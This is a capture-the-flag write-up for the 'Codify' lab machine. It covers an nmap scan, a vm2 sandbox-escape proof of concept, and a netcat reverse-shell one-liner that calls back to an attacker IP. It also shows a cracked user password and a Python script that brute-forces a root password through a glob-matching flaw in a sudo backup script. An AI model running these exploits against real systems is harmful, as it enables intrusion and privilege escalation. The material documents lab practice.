Write-up author: jon-brandy
- Virtual Machine 2 (VM2) exploitation.
- Bash script review.
- Python bruteforce script.
PORT SCANNNING:
┌──(brandy㉿bread-yolk)-[~]
└─$ nmap -p- -sVC 10.10.11.239 --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-18 00:36 PST
Warning: 10.10.11.239 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.239
Host is up (0.033s latency).
Not shown: 53951 closed tcp ports (conn-refused), 11581 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96071cc6773e07a0cc6f2419744d570b (ECDSA)
|_ 256 0ba4c0cfe23b95aef6f5df7d0c88d6ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 275.72 seconds
- Based from the nmap results, we can identified that the machine runs a web application, opens ssh login and using node.js framework for the webapp.
WEBAPP
- Reading the About Us page, shows us the door to exploit this web app, the
vm2 (virtual machine 2)
vuln.
- Searching on the internet about vm2 vulns, shall resulting to this:
VM2 --> Is a library that provides a secure and sandboxed environment for executing JavaScript code. Primarily used in server side
environments such as Node-JS.
https://www.uptycs.com/blog/exploitable-vm2-vulnerabilities (the newest one --> 2023).
- Also found a github POC.
https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));
- To test the POC, we can try by sending -->
ls ./
- Great it executes our bash command, hence let's put our reverse shell payload there.
succeed payload
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 1337 >/tmp/f
RESULT
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 1337 >/tmp/f');
}
`
console.log(vm.run(code));
RESULT
- Notice that there is a user named joshua and we can't cd there.
- Now we need to enumerate dirs and files, our objective should be a config file or .db file.
- Long story short, found tickets.db at -->
/var/www/contacts
.
FOUND JOSHUA CRED
- Let's crack the hash using rockyou.
- Great! Now we have joshua cred -->
joshua:spongebob1
.
GETTING USER FLAG
cf933e03df80d5ec0e913a06dea26830
- Checking sudo permission for joshua resulting to this:
BASH SCRIPT
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
- Reviewing the bash script, found the vuln at the comparison.
- If using double squared brackets, the comparison has meaning to do pattern matching, not string comparing.
- Since
$USER_PASS
(user input) is treated as pattern, hence if user input glob characters such as -->?
or*
, it shall potentially match unintended strings, because*
matches any string. - In summary, we can leak every chars by bruteforcing it.
- To bruteforce it, I used python.
SCRIPT
# from pwn import *
import string
import subprocess # to create a new child process.
passw = ""
is_found = False
# context.log_level = 'INFO'
letter_list = list(string.ascii_letters + string.digits)
# print(all)
# output:
# ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
# 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D',
# 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S',
# 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
while not is_found:
for i in letter_list:
cmd = f"echo '{passw}{i}*' | sudo /opt/scripts/mysql-backup.sh"
result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in result:
passw += i
# log.success(passw)
print(passw)
break
else:
is_found = True
RESULT
GETTING ROOT FLAG
- Great! Let's switch user to root.
f41dc7d5bdc226c6acbdef35629f3012